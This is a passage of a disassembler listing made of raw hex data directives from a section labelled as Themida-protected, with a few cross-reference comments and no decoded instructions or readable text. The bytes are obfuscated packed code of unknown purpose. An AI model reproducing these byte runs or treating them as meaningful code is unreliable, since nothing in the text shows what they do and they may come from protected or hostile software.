0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0F23E2000h, 0C17DE923h dd 6AD82B47h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0A385C351h, 6870F18h, 89000000h dd 1423F99Dh, 0F2BF0F06h, 0AD73BF50h, 1C8969DDh, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BD8B6852h, 61415E9h, 1AA5B5FFh, 8F0F0614h, 0Ah, 5E9h dd 0EA88300h, 9531BD75h, 614171Dh, 116995FFh, 6A0614h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0BD8BDBC3h, 6140ADDh, 858900B0h, 6140541h, 0BD8970E6h dd 6141C91h, 0B70F71E4h, 0F613CF3h, 28383h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0DFF79AF0h, 800FAD8Dh, 0 dd 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0C0B4C353h, 0FE960h, 28C40000h dd 7A437267h, 0FF9E2AF4h, 0F176641Eh, 0F28B6155h, 6BAh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 3BF1C4F9h, 7B1918ECh, 0BD8B509Ch, 6141389h dd 89C38B5Fh, 14159195h, 4E8C106h, 0CE9h, 4A2B4000h, 7AF8285Fh dd 0DD9E18DBh, 0E2F76675h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0F6C35747h, 0B58BD82Bh, 61416E1h, 0FD82B58h dd 1A788h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0BFD74FA9h, 12C52AF4h, 33EE8166h dd 7B997h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 6D25FC3h, 30A1BD89h, 0C1830614h dd 28E68100h, 17F917Dh, 141D419Dh, 0FD93B06h, 13F86h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0AA6880BDh, 96930519h, 8C666E11h, 798D29D9h, 0F6061419h dd 840F04C1h, 0D1h, 7E9h, 0B50CA500h, 5F8F12ECh, 2E4595FFh dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 5499C9C3h, 7762DDCDh, 0CE90EE6h, 58000000h dd 3DCC4215h, 1EEEB8EDh, 0E80F8385h, 9, 47D8500Fh, 0DFBF8D11h dd 5E5E5245h, 56006A5Bh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 33FA330Bh, 1C05B58Bh, 0C32B0614h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0F4C35141h dd 297F76BAh, 0AE857h, 471B0000h, 6DD9893Ah, 720457ABh dd 5EFABF0Fh, 8343D5Eh, 860F0000h, 11h, 69DBD8Bh, 3DE90614h dd 89000000h, 140B35BDh, 6AC08B06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0E9C1C351h dd 12h, 0B0B6ACAAh, 6DC4F5FCh, 0F229C8A8h, 440122F4h, 0FE8B200Fh dd 0D88BC38Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0FAC35747h, 89AE1D93h, 1406BD95h, 585C706h, 3306142Ah dd 0F3ACE5Dh, 183h, 0C08BFC00h, 0B6BFF08Bh, 81227352h dd 141AA5BDh, 7D006h, 30850F00h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 3D54C356h dd 4B77FDA5h, 1AA585FFh, 8B660614h, 0AD9509FEh, 0FF061404h dd 141AA5B5h, 0CE816606h, 95FF3885h, 6141169h, 0F2C2BF66h dd 111DBD31h, 0E9900614h, 13h, 3FA7F371h, 0C64E223Bh, 4746D054h dd 82511B3Fh, 6A696D17h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0E11BC350h, 0D8DCF92Ah dd 7E99133h, 7D000000h, 4EE7E3Ch, 8B66E41Bh, 51006AF2h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 6637AFE6h, 9D29F08Bh, 6141505h, 11E9h, 0D843D800h, 5B0824C0h dd 54AF8D81h, 0F57F720Bh, 6A71C5h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 88A82DC3h, 92654B8Eh dd 6AA1689Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 5FF7C351h, 57006ABFh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 5E80D05h, 0AE000000h dd 3EFF7E2Fh, 66F38B66h, 0BF5FF88Bh, 287D88E6h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A0C35545h, 1FEFCFB3h dd 899D50Fh, 0F839E936h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0C44F00C3h db 0FFh, 24h, 0E9h byte_589817 db 38h ; DATA XREF: Themida_:0054B598o dd 6AC18BF8h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 8C9C353h, 0ACD8CF46h, 4EBh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0EC6C01C3h, 448AE17Bh, 0B531831Eh, 6141BFDh, 0F99858Dh dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 34FE84C3h, 236542C4h, 9076DE8Ah, 8B27BF66h dd 0E1BF6650h, 13E99021h, 9C000000h, 6E620A9Ch, 0A310B152h dd 0E6733075h, 18FCA532h, 6A3D09h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 70C35646h, 6BC78142h, 6A6019E8h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0E8DA75EDh, 6, 14AEA7ACh, 6051EF41h, 0F5E5F61h dd 487h, 6CBF6600h, 0F9B70F38h, 0EC0858Dh, 6A0618h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 42944FC3h, 0CD380415h, 3DDBD2Bh, 7E90614h, 63000000h dd 29E5C9D6h, 0C08393D5h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0E8AF35Eh dd 0F902E07h, 81h, 52505000h, 12870Fh, 0DE90000h, 0A3000000h dd 0F49F975Dh, 14DBB6F9h, 3EA10E7Ch, 0DE8310Fh, 0BC000000h dd 8488EEBAh, 39173E3Fh, 0D6223FDh, 5A5F6160h, 6A9058h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 178BE8C3h, 5EFB8B52h, 7E951h, 6D520000h, 0DF537B6h dd 6A5EAAh, 6D3ABE66h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 246C19C3h, 0B6D8E904h dd 7195FF74h, 0F06141Ah, 68Ah, 91B58B00h, 0F061407h, 686h dd 3DBD8B00h, 8D061426h, 17A8FC9Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 66DD1830h dd 8CD1F681h, 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 391589C3h, 87C41763h, 68B0Fh, 0BD8B0000h dd 6141A11h, 236D85FFh, 8B660614h, 8870FF8h, 51000000h dd 2EB9B589h, 0E95E0614h, 79Dh, 0E8h, 0ED815D00h, 6180ECAh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 16C35747h dd 7983EFC3h, 0F42A12Ah, 0A88h, 5E900h, 0E6350000h, 81CA5FDCh dd 141AA5BDh, 7D006h, 89860F00h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0F945C355h dd 0B601E485h, 8D0105B3h, 61410A9h, 5EDB58Bh, 9D8B0614h dd 6141AF9h, 0E381F78Bh, 100h, 1A19B58Bh, 0DB0B0614h, 0A9850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0BEA343C3h, 0B5BD8B62h, 8306141Ah, 180C5FBDh dd 840F0006h, 2Dh, 10E9h, 0B14D4300h, 0E50E9879h, 0C459F0A8h dd 1F07F551h, 9FE9D7h, 0EE90000h, 19000000h, 0C12FF7EAh dd 0BBC16901h, 0FE63EACDh, 5F85C799h, 106180Ch, 0F000000h dd 481h, 80BE6600h, 73E9CBh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 39985AC3h dd 519D0908h, 0F061425h, 68Bh, 81BD2B00h, 0C7061429h, 180C5F85h dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 969B90F0h, 55E7EAE9h, 10E9h, 2FF0AE00h dd 0EF489720h, 0D055C73Eh, 905D7291h, 0F99D8DCEh, 6A06141Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0CEF1C351h, 9B9BD8Bh, 0B58B0614h, 61418CDh dd 0FEFF2381h, 8C0FFFFFh, 18h, 13E9h, 0A4240C00h, 80345AEFh dd 6A907979h, 0BAD76379h, 0D9A4AE77h, 66DB8C66h, 0C3F6F88Bh dd 21840F04h, 8B000000h, 4595FFF8h, 0B06142Eh, 1425D9B5h dd 7E85006h, 9F000000h, 90BA66B9h, 895E3AE5h, 0F18B2404h dd 3D4E9h, 0CCF68100h, 0B03FBA2Fh, 6A70E600h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0E4E2C350h, 52006A71h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 980B8ADEh, 0F442620h dd 9E9D8B6h, 0D4000000h, 0C03F46F8h, 92B06C45h, 9DBD0B56h dd 5F06142Bh, 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 59FAF1D5h, 47AF34Eh, 840F4877h dd 5, 0FEB1FCBEh, 6AC38B33h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 7141C352h, 31E6BEDCh dd 0E8C15F6Dh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0CDC2A6E8h, 234F350Bh dd 95893AB4h, 6141C9Dh, 89E2F766h, 142D09BDh, 6AD82B06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0DFDCC351h, 1F66C498h, 89ADEB7Ch, 1416858Dh dd 0C5958906h, 50061434h, 66241C89h, 48EFE781h, 1AA5B5FFh dd 81600614h, 3172C5C6h, 0E6B96663h, 95FF617Dh, 6141169h dd 2D398509h, 0B00614h, 6A70E6h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 7F61D8C3h, 22C0E681h dd 0BD892B08h, 61418CDh, 800F71E4h, 3, 81F08B66h, 0CDE34D7h dd 0F613C36h, 24083h, 0D8B60F00h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 32C35242h, 61BD2930h, 0BA061421h dd 6, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah dd 17C35040h, 72018841h, 0C38BD66Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 55C35040h, 0A86EF82Ch, 0BD9D8933h dd 0C1061425h, 6A04E8h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 88F76DC3h, 66A81267h, 0B58BE2F7h dd 6141C11h, 6AD82Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 860F89C3h, 6, 1AE9B589h, 66580614h dd 0E9994DBFh, 0Bh, 55F710E5h, 0C6234100h, 2BC29E97h, 56880FD8h dd 0F000001h, 8Eh, 7B900h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0F4648C3h dd 1089B58Bh, 0C1830614h, 39B58B00h, 3B06140Fh, 16860FD9h dd 6A000001h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0B768C357h, 50BD6F34h, 47DCEE86h dd 0F6D98C66h, 840F04C1h, 0DDh, 95FFF88Bh, 6142E45h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 13C35646h, 728CBA6Ah dd 66ACF80Ah, 0BD03F18Bh, 6141A91h, 0FE95Bh, 36DE0000h dd 0AC908B13h, 2AF54234h, 0C51D4835h, 6AC32BE9h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 36CBC357h, 0C0DE8CC6h, 89B718EAh, 14265985h, 8343D06h dd 860F0000h, 5Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0F5C35343h, 7F6F06D1h, 0F0979828h, 0F7B70F3Eh dd 38E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 9E127515h, 1C718157h, 6E9399Eh, 61000000h dd 6B1C0C36h, 89C08BFFh, 142EE18Dh, 8BC38B06h, 71BD89D8h dd 0BF061406h, 667CE169h, 20B585C7h, 139D0614h, 0C08B7E91h dd 1AA5BD81h, 7D00614h, 850F0000h, 52h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 14h, 2FC35242h, 0AD858B60h dd 6106140Bh, 1AA585FFh, 6A0614h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 304CC3h, 0DDA731D2h dd 0AC6CBF84h, 0B5FF6615h, 6141AA5h, 0DE8h, 1D5EB100h dd 0F80B2A8Bh, 77D4F147h, 0BE66BA18h, 0FF5F77CEh, 14116995h dd 38D0F06h, 66000000h, 6690FB8Bh, 8B9FB7BFh, 140BF1BDh dd 2DE9BF06h, 0BF0F6C45h, 0E78166FEh, 6AAC0Ch, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 29C6C3C3h, 1419A5BDh, 0F88B6606h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 44C35646h, 519589D5h, 66061409h dd 0B38CE81h, 0F81BD8Bh, 6A0614h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 0BEA77EC3h, 0C879B32h dd 0FCF7B70Fh, 56006AF5h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 13F33D42h, 0D5B52B56h dd 0BF06141Ah, 0ED0491Fh, 18E9BD09h, 0BF0F0614h, 21BD8BF3h dd 8906140Fh, 142AA995h, 840FF506h, 0Ch, 2B05BD8Bh, 8D890614h dd 61408E9h, 12E9h, 0D7BFD500h, 231420F6h, 0F971D46Bh dd 0AF12CC09h, 95E8AA3h, 1425CDB5h, 0F86EE906h, 0BD8BFFFFh dd 6141075h, 7E52E1BEh dword_58A240 dd 6A607Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h ; DATA XREF: Themida_:00549588o dd 53430000h, 0FBA950C3h, 0EE9h, 29371A00h, 0D77ED777h dd 83941EAFh, 0B922C58Ch, 0FFFFFFFEh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 5BC35646h, 8B4AAFE3h, 0B58B9CA9h dd 61431C1h, 1B758D21h, 8B600614h, 1407919Dh, 7D958B06h dd 6106142Ch, 5318D21h, 6A0614h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 6653ADC3h, 7933F081h dd 18BB665Eh, 758D8BD6h, 0BA06141Bh, 3D284864h, 0F01E183h dd 685h, 0DB58B00h, 8B061423h, 1405318Dh, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0D59D8B60h, 29061422h, 14100D8Dh, 1E18306h, 25850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 2E00FCC3h, 0CDD0A128h, 61BC7121h, 57006A60h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 5A67C091h, 0CA81663Ch, 0BE9223Fh, 3A000000h, 0CABB3872h dd 0A38E909Dh, 0FEB983DBh, 6AFFFFFFh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 798FC352h dd 0D78B66DEh, 1AC98D21h, 6A0614h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 7430A0C3h, 2A9DB866h dd 0E2D8D21h, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0A57066C3h, 662D90B2h, 8B6DD7BFh dd 141AC98Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 1E18356h, 21850Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 7FCD8EC3h, 8BD18B66h, 140E2D8Dh, 0E99D3106h, 83061430h dd 850F01E1h, 6, 0BF5BD8Bh, 60610614h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 86C35040h, 3D4CB49Dh, 349AC76Dh dd 6800F40h, 2B000000h, 1405EDBDh, 0FFFEB906h, 858BFFFFh dd 614156Dh, 1AF98D21h, 890F0614h, 6, 30A58D89h, 8D210614h dd 6142A05h, 0EA13BE66h, 1AF98D8Bh, 6A0614h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 583094C3h dd 839A2174h, 850F01E1h, 0Ch, 249BD8Bh, 0DA810614h, 77C304F9h dd 2A058D8Bh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 170BD7C3h, 9493237Ch, 73BE0026h dd 600AE4ECh, 14B18D33h, 8B600614h, 140A5185h, 11E906h dd 44960000h, 0ECBD939Ah, 0CB15D35Ah, 7303488Bh, 6143484Bh dd 1E18361h, 2C850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0A740BC3h, 0CE16D42Ah dd 16C58D89h, 0BE660614h, 6061A130h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0EAC35242h, 445C6FEDh, 0E1186478h dd 14E809h, 0B6DC0000h, 0C9A0FF60h, 0DFE6FDFh, 6D734DA5h dd 0A8D650ADh, 0B70F578Bh, 0FEB95EFFh, 8BFFFFFFh, 1400D995h dd 0D0DF8106h, 21238441h, 1402318Dh, 0CE906h, 0BEEB0000h dd 0DBA0217Ah, 0F1C840AEh, 9D292F77h, 6141595h, 20B58D21h dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0F9448BC3h, 8D8BF5E6h, 6140231h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 13C35545h, 0D0EC93DBh dd 0B6C6106Eh, 89FE8B66h, 140315B5h, 1E18306h, 6850Fh dd 958B0000h, 614038Dh, 20B58D8Bh, 8E90614h, 9B000000h dd 238AE67Bh, 83B99C41h, 850F01E1h, 22h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 16h, 24C35747h, 8B60C6E4h dd 606161CEh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0C3C35242h, 0C198D89h, 85C70614h, 6141AA5h, 7D0h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 10C35242h dd 4665B79Fh, 31606042h, 140D5D9Dh, 8A0F06h, 61000000h dd 0AE9h, 0D6F65500h, 4F12ACC6h, 61505446h, 56006A61h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 7FB03B06h, 5959589h, 7EB0614h, 0E99D61h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 9E97C356h, 0A65595C2h, 46DF8015h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 22C35242h, 0B7C7C0B1h dd 14507B9Dh, 0C18BCA8Ah db 0EBh, 4Fh word_58A792 dw 1C8Fh ; DATA XREF: Themida_:0054B524o ; Themida_:0054BB98o dd 8ABFA25h, 0ACDAC6A1h, 0D2D41CA4h, 0E45C5Ch, 0F53134CEh dd 0B327CE1Bh, 5B34D129h, 0E62AC7DDh, 0DF1BCE17h, 0A6DB6734h dd 47776B00h, 0A3EA1A00h, 0D5h, 0CA199C00h, 4A0000FEh dd 0FBFEh, 0DDB48700h, 0D9202352h, 0E7339C9Eh, 12AFE977h dd 8D8B0000h, 6141B71h dword_58A7EC dd 12CDBD83h, 0F000614h, 3D85h, 0B800h, 0BD8B0000h, 614033Dh ; DATA XREF: Themida_:0054B81Co dd 6A0004C2h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0D04C353h, 0E9AE2CC3h, 0Ah, 0BD81EBC0h dd 602C7D02h, 0C08B14D5h, 22DD8D89h, 0BD830614h, 61430B1h dd 83097500h, 141AE1BDh, 13740006h, 0C08B5350h, 4D0B8h dd 0E9D8D00h, 0FF0616B5h, 83585BD3h, 141AE1BDh, 11740006h dd 0D0B85350h, 8D000004h, 16B45B9Dh, 5BD3FF06h, 56006A58h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 1699AB9Fh, 0F8C15FB9h, 30E18589h, 0C08B0614h, 4F8BA66h dd 1BF6858Dh, 958B0618h, 6141BD9h, 4870F50h, 57000000h dd 895FD78Bh, 95892404h, 6141B5Dh, 1BB3858Dh, 0D2810618h dd 5E0C76C4h, 0D61CBA50h, 4896EC5h, 7BA6024h, 8B2DF8D9h dd 1418F595h, 9D896106h, 6142E35h, 96D95FFh, 6A0614h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0B6D34DC3h, 8B976D0Dh, 60042444h, 22DD9D8Bh, 0BD290614h dd 61423BDh, 0DE858961h, 6A06181Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 144DC352h dd 0FC244FEh, 885h, 8D896000h, 61418B9h, 24448B61h, 4D958B08h dd 8B061419h, 140071BDh, 0F2858906h, 0F06181Bh, 288h, 83EC8A00h dd 14197DBDh, 850F0006h, 0D0h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 66C35545h, 0EA3CA96Bh, 14BDB529h dd 29560614h, 142A4585h, 10B65A06h, 1A5985C6h, 0E8470614h dd 4, 0D49AA7D2h, 94067EBAh, 5250500Fh, 0FD68B66h, 12E831h dd 3F640000h, 0C177C35Eh, 2B677739h, 67BB7373h, 3015966Fh dd 5A5FD68Bh, 24448B58h, 8B008B04h, 244489D7h, 8B666004h dd 0F5861D6h, 683h, 0C0DA8100h, 0FF5BACBBh, 141AD1B5h dd 0ED853106h, 8D06140Bh, 1780DB85h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 2B9A2CCFh dd 88B99944h, 0E9BD89E9h, 0FF061402h, 0E2B966D0h, 7D8589CBh dd 0F9061419h, 1D45BD83h, 0F000614h, 13285h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0FE9C192h, 43000000h, 49B908C2h, 3811F865h, 3CCE0B50h dd 890F1CA1h, 7, 0C7816650h, 95A5F3Ah, 1423BD95h, 5985C606h dd 4706141Ah, 0EE9h, 69946C00h, 3A747FEh, 74702F00h, 68854999h dd 0F6B67C63h, 1A8A0Fh, 0E9600000h, 13h, 7C44A0E4h, 9189E25Eh dd 90CDD929h, 2ECC59Eh, 6198BC16h, 81243481h, 897CB9C9h dd 141B29B5h, 0D1B5FF06h, 6A06141Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 1086C356h dd 183E06EEh, 0D5B589ABh, 8D061422h, 1780DB85h, 91BD8906h dd 0F061407h, 889h, 28D0F00h, 50000000h, 6AD0FF5Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0B733C350h, 8AE0C819h, 458589CEh, 6A06141Dh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0A9D1C353h, 0BFA1F12Ah, 0FD15803h, 683h, 4DBD8900h dd 83061408h, 1406CDBDh, 850F0006h, 0AEh, 0EEF8166h, 5985C660h dd 5606141Ah, 0B368EE8Ah, 528B5CDFh, 405ABB60h, 8B665784h dd 815F61F3h, 8D862404h, 0B58948C2h, 6141529h, 1AD1B5FFh dd 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0EC9734C3h, 89AD74F4h, 14142D8Dh, 0DB858D06h dd 0E9061780h, 13h, 8C12A3F7h, 898B6A4Ah, 27F6C4A8h, 0B3E8465Bh dd 0BAC5FEF7h, 3FB79B15h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 3C1682C3h, 0F9D958Bh dd 85890614h, 61406CDh, 90B3CA81h, 85C62E7Ch, 6141A59h dd 57006A6Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 3F3836B5h, 683F2CC2h, 0EB55C1F0h, 0A8F0Fh dd 52500000h, 310F6160h, 585A5951h, 73243481h, 663050B1h dd 0FFAFF4B9h, 141145B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 9D897F81h dd 61404D1h, 30C3C781h, 858D4701h, 6143B13h, 2F898D29h dd 0D0FF0614h, 19818529h, 0E6800614h, 0E285897Ah, 8B06181Bh dd 14102195h, 0FEBD8306h, 6181Bh, 0BE850Fh, 0BD8B0000h dd 6142A4Dh, 1A5985C6h, 6A490614h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 489FC356h dd 0D6305267h, 4B96448h, 6802EF17h, 0BDB7C869h, 3481F58Ah dd 0A2E18024h, 45B5FF31h, 6A061411h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0B484C353h dd 626CAF55h, 29BF88B0h, 8D2F8CA1h, 143B1385h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0B16FB8D4h, 0F99F726Bh, 31BD897Fh, 66061411h, 0FF6C2CBAh dd 2D952BD0h, 89061408h, 1421B985h, 0FE858906h, 6606181Bh dd 32BEF81h, 0EA80046Ah, 5EA9686Ch, 481CAF4h, 0BB15724h dd 6830F35h, 89000000h, 140E1585h, 4E806h, 0 dd 0F560001h, 585h, 0CAA7B900h, 505A7561h, 448BB8B2h, 8B660424h dd 52008BD1h, 8959CA8Ah, 0F042444h, 283h, 58CB8B00h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5FC35747h, 5D1B0B2Bh dd 8992ED1Fh, 142EDD85h, 55958B06h, 6A061430h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 5F940A66h, 0B5896B72h, 614193Dh, 1C5595FFh, 6A0614h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0C4EE3EC3h, 8589216Ch, 6181BEEh, 0C7F9BF0Fh, 181BE685h dd 6, 29BD8B00h, 6A06140Ah, 45958B00h, 68061415h, 832E11DEh dd 481FB8Bh, 0D2EE2224h, 56006A7Ch, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 805B1938h, 0CE710366h dd 90CB8B8Ah, 5840F52h, 0BA000000h, 2A12149h, 9E95059h dd 4E000000h, 74CB6E0h, 8D39F0Ch, 0CD952990h, 6A061405h dd 55006A0Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0D329BBEDh, 90CBDC12h, 9523516Ch, 61430ADh dd 0BB858D5Fh, 0F06181Bh, 88Eh, 8D295200h, 6140F19h, 6060505Fh dd 0AE8F88Bh, 1B000000h, 3C7276F7h, 94657D65h, 0E96159E0h dd 0Eh, 0FC473DEEh, 1EB048A2h, 83E3CFD7h, 8961A2CDh, 6A2404h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0BD8998C3h, 61402A1h, 197D95FFh, 0AE90614h, 21000000h dd 6B14A879h, 0D9DAED97h, 0C5B58DD8h, 0E906181Bh, 0Ah dd 0DEF1F1DAh, 0D8849313h, 10E88CCBh, 46000000h, 1AA9E1B8h dd 0CB4DD57h, 0FE015C1Ah, 8BF33FAFh, 1403E995h, 0E9505906h dd 8, 0E94FDB5Fh, 3F9A28E1h, 0F243489h, 5150C9BFh, 895FF08Ah dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0D5A8F0C3h, 4595FF0Ch, 6A06141Dh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 8E1AC356h, 5B652A45h, 894F930Ch, 140D0D8Dh, 